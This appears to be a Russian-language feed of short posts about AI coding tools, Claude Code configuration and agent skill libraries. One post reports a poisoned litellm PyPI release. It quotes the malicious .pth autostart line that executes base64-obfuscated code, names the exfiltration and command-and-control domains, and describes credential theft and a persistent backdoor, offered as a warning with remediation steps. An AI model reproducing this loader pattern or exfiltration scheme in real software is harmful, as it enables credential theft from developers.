Теперь вы можете использовать AI-агентов для дизайна прямо на холсте Figma с помощью нового инструмента use_figma MCP и навыков для их обучения. Открытая бета началась 👍

Не знаю насколько будет полезен этот мини-гайд, но всё же сама идея интересная.

Суть в том, что можно сделать простую связку Obsidian + Claude Code —> превратить ваше хранилище (vault) в AI-агента, работающего 24×7

Obsidian хранит ваш «мозг». А Claude Code поддерживает его за вас.

В этом пошаговом гайде показано, как подключить локальный API-плагин, добавить простой навык /obsidian и использовать запланированные задачи в Claude Desktop (или VPS), чтобы автоматически запускать ежедневные AI-воркфлоу 👏

Claude Opus даёт контекст до 1M токенов, но по умолчанию не видно, сколько уже использовано и сколько осталось. Раньше я по-старому заходил в веб-интерфейс и смотрел в бэкенде 😅

А оказалось, что можно просто добавить строку statusLine в settings.json — и внизу появится статус-бар в реальном времени: версия модели, использование контекста, git-ветка, длительность сессии и доля квоты за 7 дней.

Особенно удобно, когда запускаешь несколько окон параллельно > можно одним взглядом увидеть все статусы.

Есть ещё кстати плагин для этого 🆗

Произошла вещь, от которой у всех AI-разработчиков пробежал холодок по спине.

litellm — Python-библиотека для унифицированной работы с API разных LLM была отравлена.

Один pip install - и твои SSH-ключи, AWS/GCP/Azure креды, K8s Secrets, пароли от БД, криптокошельки, все API-ключи из .env — всё это упаковывается, шифруется через AES-256 и отправляется POST-запросом на поддельный домен http://models.litellm.cloud. Если обнаруживается среда K8s , то дополнительно разворачивается привилегированный Pod на каждом узле для латерального распространения.

Самое неприятное — способ активации. В пакет подложили файл litellm_init.pth размером 34 КБ. В Python .pth — это файлы конфигурации путей, которые автоматически обрабатываются модулем site при старте интерпретатора. Если строка начинается с import — она просто выполняется. Атака использует это поведение:

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

Тебе не нужно импортировать litellm и не нужно вызывать никакие функции. Запускаешь pip, python -c, IDE поднимает language server, или pytest гоняет тесты — достаточно старта Python-интерпретатора, и вредоносный код уже выполняется. Установил — значит уже скомпрометирован. Всё происходит незаметно

Пейлоад — трёхслойная base64-обфускация:

- первый слой (.pth) стартует подпроцесс
- второй — оркестратор с вшитым RSA-публичным ключом (4096 бит)
- третий — сборщик секретов, который вычищает /home, /opt, /srv, /var/www, /app, /data, /tmp

После сбора:

- генерируется случайный 32-байтовый AES-ключ
- данные шифруются
- ключ шифруется через RSA-OAEP
- всё пакуется в tpcp.tar.gz и уходит наружу

Помимо этого есть персистентный бэкдор:

- устанавливается как user-service systemd: ~/.config/sysmon/sysmon.py
- каждые 50 минут ходит на http://checkmarx.zone за командами
- скачивает в /tmp/pglog и исполняет
- стартует с задержкой 5 минут (обход песочниц)

Даже если удалить litellm, бэкдор остаётся.

pip install --require-hashes тоже не спасает — вредоносный файл легитимно прописан в RECORD, хэши совпадают, потому что пакет опубликован с украденного, но валидного PyPI-токена.

Даже если ты сам не ставил litellm, он тянется как зависимость в 2000+ пакетов (например, DSPy, MLflow, Open Interpreter и др.). По данным Mandiant, уже заражено 1000+ SaaS-окружений, прогноз — до 10 000.

Ирония в том, что атаку почти не обнаружили - её выдал баг у самих атакующих. .pth запускал подпроцесс, а тот при старте снова обрабатывал тот же .pth, вызывая рекурсивный запуск и фактически fork bomb. Это сожрало память у одного пользователя Cursor — так всё и вскрылось. Как отметил Karpathy: если бы код был чуть аккуратнее, атаку могли бы не замечать неделями.

Ещё абсурднее сама точка входа:

- 19 марта был скомпрометирован сканер безопасности Trivy
- через него группа TeamPCP украла PyPI-токен litellm
- 24 марта они выкатили заражённую версию

Инструмент безопасности стал вектором атаки.

После того как в GitHub создали issue:

- через 102 секунды атакующие с 73 взломанных аккаунтов наспамили 88 комментариев
- затем закрыли issue через скомпрометированный аккаунт мейнтейнера

Скрипт для самопроверки (версии, .pth, бэкдоры, сетевые соединения, K8s):
https://gist.github.com/sorrycc/30a765b9a82d0d8958e756b251828a19

Безопасная версия: litellm==1.82.6
Если у тебя стояли 1.82.7 или 1.82.8 — считай, что все креды утекли. Срочно ротируй всё. 🔨

Анатомия папки .claude/

Полное руководство по CLAUDE.md, кастомным командам, skills, агентам и правам доступа, а также по их корректной настройке.

Большинство пользователей Claude Code воспринимают папку .claude как «чёрный ящик». Они знают, что она существует. Видели, как она появляется в корне проекта. Но никогда её не открывали — не говоря уже о том, чтобы понять, за что отвечает каждый файл внутри.

И это упущенная возможность.

Папка .claude — это центр управления тем, как Claude ведёт себя в вашем проекте. В ней хранятся ваши инструкции, кастомные команды, правила доступа и даже «память» Claude между сессиями. Когда вы понимаете, что где лежит и зачем это нужно, вы можете настроить Claude Code так, чтобы он работал именно так, как требуется вашей команде.

В этом гайде подробно разбирается вся структура папки — от файлов, которые вы будете использовать ежедневно, до тех, которые настраиваются один раз и затем практически не требуют внимания. 👍

Пусть агенты проектируют агентов.

Memento-Skills - это саморазвивающийся фреймворк агентов, в котором агенты учатся на ошибках и переписывают собственные скиллы.

Большинство фреймворков для агентов рассматривают скиллы как статические: вы пишете их один раз, загружаете в контекст и надеетесь, что они будут работать. Если что-то ломается , то дебажите вручную или повторно запускаете с тем же сломанным скиллом.

Memento-Skills подходит иначе. Когда скилл фейлится, система анализирует причину, находит проблемный скилл, переписывает его и сохраняет улучшенную версию обратно в библиотеку скиллов.

Система тестировалась на бенчмарках HLE (Humanity's Last Exam) и GAIA (General AI Assistants). Производительность росла с каждым циклом обучения, по мере того как библиотека скиллов эволюционировала от базовых атомарных операций к более богатому набору возможностей.

Разработано для open-source экосистем LLM , т.е. работает с Kimi, MiniMax, GLM и другими эндпоинтами, совместимыми с OpenAI.

В комплекте 9 встроенных скиллов (filesystem, web-search, PDF, docx, xlsx, pptx, анализ изображений, генератор скиллов, установка зависимостей), которые служат стартовой точкой для дальнейшей эволюции библиотеки.

Полностью open source. ☁️

Попался интересный скилл: Sleek Design.

По заявлениям автора, установив его ваш агент начнёт делать более качественный дизайн мобильных приложений. (демо прикрепил)

Работает с Claude Code, Codex и любыми агентами, поддерживающими скиллы.

Ссылка 🤲

Недавно вышел бесплатный skill для Claude, который пишет хороший промпт для любого AI-инструмента.

Он называется Prompt Master и работает с Claude, ChatGPT, Cursor, Midjourney, o3, Bolt, v0 и ElevenLabs сразу из коробки.

Одна установка. Более 18 поддерживаемых инструментов.

Полностью opensource. 🙊

Николас Карлини, один из самых уважаемых специалистов по безопасности, на днях показал на живой демке, как CLAUDE находит zero-day уязвимости.

Причём это был не тестовый проект, а Ghost CMS — один из самых популярных open-source проектов на GitHub. Кодовая база, которая за всю свою историю не имела ни одной критической уязвимости.

Claude нашёл blind SQL-инъекцию за 90 минут, получил admin API key и полный доступ к базе данных. Затем сделал то же самое с ядром Linux и обнаружил heap buffer overflow, который там находился с 2003 года.

Карлини сказал со сцены, что «эти модели уже лучше него как исследователи уязвимостей». Для контекста: у него 67 000 цитирований и реальные CVE на его имя. 😳

Гений переписал CLI "claude" с использованием Codex и GPT-5.4-high.

По его словам, это стоило $1100 в токенах, при этом скорость работы на 73% выше, а потребление памяти в режиме активного взаимодействия на 80% ниже.

Очень легко реверсировать claude из npm-дистрибутива, затем его переписка происходит 1:1. Он неотличим от версии от Anthropic по заголовкам и аналитике, которую он отправляет обратно.

исходный код 😳

Реально 😆

В этом подробном руководстве Vahe показывает, как пользоваться Claude Code - от первоначальной настройки до продвинутых возможностей.

Вы узнаете про параллельные workflow, skills и rules, безопасность и многое другое — там даже есть несколько интересных стартовых проектов, которые можно попробовать. 🙈

Mohit Mishra поделился своими low-level skills для разрабов на C, C++, Rust, Zig и других языков и направлений в системном + низкоуровневом программировании. ☺️

Использовать их можно практически со всеми кодинг агентами.

Посмотреть и внести свой вклад можно здесь: https://skills.sh/mohitmishra786/low-level-dev-skills

Boris Cherny поделился новой подборкой из его любимых, недооценённых фишек в Claude Code. Пользуется ими чаще всего, а значит это эффективно и можно подчеркнуть что-нибудь для себя 🙈

Получилось 15 советов, их можно прочитать здесь. Скоро выложит ещё.

Обновлённый Skill Creator от команды Anthropic, имеет встроенный фреймворк для оценки (eval framework), который запускает тесты с дочерними агентами, чтобы определить эффективность и способствовать улучшению.

В этом skill по сути зашит многолетний исследовательский опыт.

Очень впечатлён эффективностью. 🆒

Ссылка: Skill Creator repository